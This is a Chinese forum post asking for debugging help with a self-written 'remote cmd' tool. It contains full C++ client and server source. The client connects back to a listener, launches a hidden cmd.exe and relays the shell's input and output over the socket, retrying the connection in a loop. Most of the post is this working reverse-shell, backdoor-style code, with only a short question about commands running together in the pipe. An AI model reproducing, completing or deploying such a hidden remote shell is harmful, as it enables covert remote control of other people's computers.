远程cmd匿名管道的问题!!!急!!!!!!!!!!!
最近在写远程cmd,有个问题卡了两天没有眉目
先贴出客户端和服务端的代码:
客户端:
// Client.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
//***************************************
//全局变量
SOCKET ServerSocket = INVALID_SOCKET;
SOCKET ClientSocket = INVALID_SOCKET;
HANDLE hReadPipe, hWritePipe, hWriteFile, hReadFile;//hreadpipe,hwritepipe将数据写入管道再传输,hreadfile,hwritefile读取数据并传入管道再传给父进程
u_char varRead,varWrite;
//***************************************
//建立连接子函数
//***************************************
//初始化Socket
void StartUp()
{
WSADATA wsaData;
WORD version = MAKEWORD(2, 0);
int ret = WSAStartup(version, &wsaData);
if(ret != 0)
printf("初始化失败!");
}
//关闭Socket
void CleanUp()
{
if (WSACleanup() != 0){
printf("关闭失败!");
}
}
// ***************************************
// 建立管道子函数
// ***************************************
DWORD WINAPI ThreadFuncRead( LPVOID lpParam ) //接收数据并传入管道
{
printf("read thread prepare\n");
//声明一个安全属性结构变量
SECURITY_ATTRIBUTES pipeattr;
DWORD nByteToWrite, nByteWritten;
char recv_buff[1024];
int nRetCode;
char buffer[1024];
DWORD buffersread,totalbytesavail;
ZeroMemory(buffer,1024);
//对pipeattr的各个成员进行赋值
pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE;
//创建一个匿名管道,并使用上面的安全属性结构变量pipeattr为管道的安全属性
//其中hReadPipe是用来从管道中读取数据的管道句柄
//hWriteFile是向管道写入数据的管道句柄
nRetCode = CreatePipe(&hReadPipe,&hWriteFile,&pipeattr,0);
//判断管道是否创建成功
if (nRetCode == 0)
{
printf ("CreatePipe readpipe Error!\n");
exit(-1);
}
//如果管道创建成功,就将varRead赋值为1
varRead = 1;
//使用一个无限循环,来从客户端接收数据,并写入管道
int ret = 0;
while(true)
{
Sleep(1250);
//从客户端接收数据,数据写入缓冲区recv_buff中
nByteToWrite = recv(ClientSocket,recv_buff,1024,0);
printf("recv over!\n");
//使用WriteFile向句柄hWriteFile中写入数据,这个管道中的数据可以通过
//hReadFile管道句柄读取,而hReadFile是全局变量,则在程序中的任何地方
//都可以访问到
nRetCode = WriteFile(hWriteFile,recv_buff,nByteToWrite,&nByteWritten,NULL); //将刚才写入到recv_buff中的数据写入管道
}
return 0;
}
DWORD WINAPI ThreadFuncWrite( LPVOID lpParam ) //将数据从管道中读出并发送给对方
{
printf("write thread prepare\n");
//同样是先来声明一个安全属性变量pipeattr
SECURITY_ATTRIBUTES pipeattr;
DWORD len;
int nRetCode;
unsigned long nCount;
unsigned long nAvail;
char send_buff[1024];
ZeroMemory(send_buff, 1024);
//对安全属性变量赋初值
pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE;
//创建另外一个匿名管道,其使用的参数与上面一个线程函数处相同
nRetCode = CreatePipe(&hReadFile,&hWritePipe,&pipeattr,0); //与上面的管道不一样
//如果管道创建失败,就返回
if (nRetCode == 0)
{
printf ("CreatePipe writepipe Error!\n");
exit(-1);
}
//管道创建成功,将varWrite赋值为1
varWrite = 1;
//进入一个无限循环,每隔250ms就尝试从上面的这个匿名管道中读取数据,如果
//管道中存在数据,ReadFile()函数通过hReadFile就可以读到数据,而且当且仅
//当读到了数据,服务端才会向客户端发送数据。
while (true)
{
Sleep(250);
//尝试从hReadFile中读取数据,数据长度放入len
ReadFile(hReadFile,send_buff,1024,&len,NULL);
//只有数据长度len不为0时,才有必要向客户端发送数据
if (len != 0)
{
send(ClientSocket,send_buff,len,0);
}
}
return 0;
}
//***************************************
//主程序
//***************************************
int main()
{
sockaddr_in RemoteAddr;
int nRetCode;
DWORD dwThreadIdRead,dwThreadIdWrite,dwThreadParam=0;
OSVERSIONINFO osvi;
PROCESS_INFORMATION processinfo;
STARTUPINFO startinfo;
//建立连接部分
StartUp();
if ((ClientSocket=socket(AF_INET,SOCK_STREAM,0))<0)
{
printf("ERROR1 SOCKET!");
CleanUp();
return 0;
}
printf("......\n");
//服务器地址赋值
memset(&RemoteAddr,0,sizeof(RemoteAddr));
RemoteAddr.sin_family = AF_INET;
RemoteAddr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
RemoteAddr.sin_port = htons(80);
while (true)
{
if ((connect(ClientSocket,(LPSOCKADDR)&RemoteAddr,sizeof(RemoteAddr)))!=INVALID_SOCKET)
{
break;
}
}
//printf("CONNECT DONE!");
XXXX:
//建立管道
if (CreateThread(NULL, 0, ThreadFuncRead, NULL, 0, &dwThreadIdRead) == NULL)
{
printf ("Create Thread ThreadFuncRead Error!\n");
return 0;
}
//开启写线程
if (CreateThread(NULL, 0, ThreadFuncWrite, NULL, 0, &dwThreadIdWrite) == NULL)
{
printf ("Create Thread ThreadFuncWrite Error!\n");
return 0;
}
//使用循环阻塞,等待读写线程的就绪????????
do
{
Sleep(250);
}while((varRead || varWrite) == 0);
//得到当前进程的进程启动信息
GetStartupInfo(&startinfo);
//对其中某些属性进行调整,并继承那些不做调整的属性
startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
startinfo.hStdInput = hReadPipe;
startinfo.hStdError = hWritePipe;
startinfo.hStdOutput = hWritePipe;
startinfo.wShowWindow = SW_HIDE;
//在使用osvi得到操作系统信息时,要注意一定要先初始化这个大小变量
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
//得到操作系统版本信息,放入结构变量osvi中。
GetVersionEx(&osvi);
TCHAR DirSys[256];
::GetSystemDirectory(DirSys, 256);
strcat(DirSys,"\\Cmd.exe");
//如果dwPlatformId值为2,说明操作系统是NT以后的版本的操作系统
if(osvi.dwPlatformId == 2)
{
if (CreateProcess(DirSys, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &startinfo, &processinfo) == 0)//为cmd建立新进程,为当前进程的子进程
{
printf ("CreateProcess Error!\n");
return 0;
}
}
else
{
CreateProcess(NULL,"command.com",0,0,true,0,0,0,&startinfo,&processinfo);
}
while (true)
{
if ((connect(ClientSocket,(LPSOCKADDR)&RemoteAddr,sizeof(RemoteAddr)))!=INVALID_SOCKET)
{
goto XXXX;
}
}
}
在客户端是在cmd和父进程(客户端进程)之间通过建立线程建立了两个单工的匿名管道,一个负责从服务端接收数据并传通过该管道传给cmd,另一个是将cmd输出的内容通过管道传给客户端进程并由客户端进程发送至服务端
服务端:
// SERVER.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <stdio.h>
#include <string.h>
#include <winsock2.h>
#include <windows.h>
#define MAX 65535
//#pragma comment(linker,"/subsystem:windows")
//***************************************
//全局变量
SOCKET ServerSocket = INVALID_SOCKET;
SOCKET ClientSocket = INVALID_SOCKET;
//***************************************
//建立连接子函数
//***************************************
//初始化Socket
void StartUp()
{
WSADATA wsaData;
WORD version = MAKEWORD(2, 0);
int ret = WSAStartup(version, &wsaData);
if(ret != 0)
printf("初始化失败!");
}
//关闭Socket
void CleanUp()
{
if (WSACleanup() != 0){
printf("关闭失败!");
}
}
DWORD WINAPI ThreadFuncRecv( LPVOID lpParam ) //接收数据线程
{
int temp = 0;
char data[MAX];
while (1)
{
// Sleep(800);
if((temp=recv(ClientSocket, data, MAX, 0))==SOCKET_ERROR)
{
printf("Connect Error\n");
continue;
}
data[temp] = '\0';
printf("%s",data);
}
}
//***************************************
//主程序
//***************************************
int main()
{
int temp = 0;
int Len = 0;
char choice=NULL;
char cmd[MAX];
DWORD dwThreadIdRecv;
sockaddr_in RemoteAddr;
HANDLE hthread = 0;
//建立连接部分
StartUp();
if ((ServerSocket=socket(AF_INET,SOCK_STREAM,0))<0)
{
printf("ERROR1 SOCKET!");
CleanUp();
return 0;
}
//服务器地址赋值
memset(&RemoteAddr,0,sizeof(RemoteAddr));
RemoteAddr.sin_family = AF_INET;
RemoteAddr.sin_addr.S_un.S_addr =htonl(INADDR_ANY);
RemoteAddr.sin_port = htons(80);
if (bind(ServerSocket,(LPSOCKADDR)&RemoteAddr,sizeof(RemoteAddr))<0)
{
printf("ERROR2 SOCKET!");
CleanUp();
return 0;
}
if((listen(ServerSocket, 5)) == SOCKET_ERROR){
printf("ERROR3 SOCKET!");
CleanUp();
return 0;
}
if((ClientSocket = accept(ServerSocket, NULL, NULL)) == SOCKET_ERROR){
printf("ERROR4 SOCKET!");
CleanUp();
return 0;
}
else{
printf("CONNECT DONE!\n");
}
if ((hthread = CreateThread(NULL, 0, ThreadFuncRecv, NULL, 0, &dwThreadIdRecv)) == NULL) //建立接收数据线程
{
printf ("Create Thread ThreadFuncRecv Error!\n");
return 0;
}
// WaitForSingleObject(hthread,2000);
//建立连接部分结束
/*
printf("===============================\n");
printf("请选择下一步操作:\n");
printf("1:退出\n");
printf("2:获取Shell\n");
char choice=NULL;
choice=getchar();
if (choice=='1')
{
CleanUp();
return 0;
}
//***************
printf("请输入指令_\n");
char cmd[MAX];
while (TRUE)
{
cmd[0] = '\0';
gets(cmd);//输入控制指令
int Len = 0;
while (cmd[Len]!='\0')
{
Len++;
}
cmd[Len] = 0xa; //0xa为换行符,输入管道的最后需要回车换行!
cmd[Len+1] = '\0';//要求控制指令串最后为回车符,以示结束
if((send(ClientSocket, cmd, strlen(cmd), 0))==SOCKET_ERROR)
{
printf("SEND Error!\n");
break;
}
Sleep(800);
while(true){ //
// if((temp=recv(ClientSocket, cmd, MAX, 0))==SOCKET_ERROR)
if ((temp=recv(ClientSocket, cmd, MAX, 0))==0)
{
break;
}
// {
// printf("Connect Error\n");
// break;
// }
cmd[temp] = '\0';
printf("%s",cmd); //显示客户端发来的提示符
}//
if(temp==SOCKET_ERROR)
{
break;
}
}
printf("OVER!\n");
return 0;
*/
char test;
while (true)
{
cmd[0] = '\0';
// printf("请输入指令_\n");
fflush(stdin);
gets(cmd);//输入控制指令,gets函数会舍弃最后的回车
// test = getchar();
// int Len = 0;
while (cmd[Len]!='\0')
{
Len++;
}
cmd[Len] = '\r';//0xa为换行符,输入管道的最后需要回车换行!
cmd[Len+1] = '\n';
cmd[Len+2] = '\0';//要求控制指令串最后为回车符,以示结束
if((send(ClientSocket, cmd, strlen(cmd), 0))==SOCKET_ERROR)
{
printf("SEND Error!\n");
break;
}
// }
// else
// {
// printf("error!\n");
// continue;
// }
}
return 1;
}
现在问题是在服务端发送指令时,第一个指令都可以正确返回信息,比如calc,ipconfig,ping等等,但是第二次或者第三次输入指令就没有反应了,没有从客户端的数据返回,但是还可以输入指令,通过截包和调试发现服务端确实已经将指令发送至客户端,而客户端似乎也将指令正确接收并传入匿名管道。个人感觉可能是cmd解析的问题,因为有时如果当发送指令没有反应时,多发些没用的字符(好像到一定量)也会有反应:“‘xxxx’不是内部或外部命令”,比如我发送指令ipconfig,没有任何返回,但是当我又发送“sfadfasfsd……”时会回复“‘ipconfigsfadfasfsd……’不是内部或外部命令……”说明cmd还是接收ipconfig这个指令的,不过和后面的指令混在了一起
如果大家不明白,可以运行试一下,表达得不太明白。。。vc6环境
这个问题卡了好久了,希望有高手能够指点!!!!!!!!!!!!!!!!!!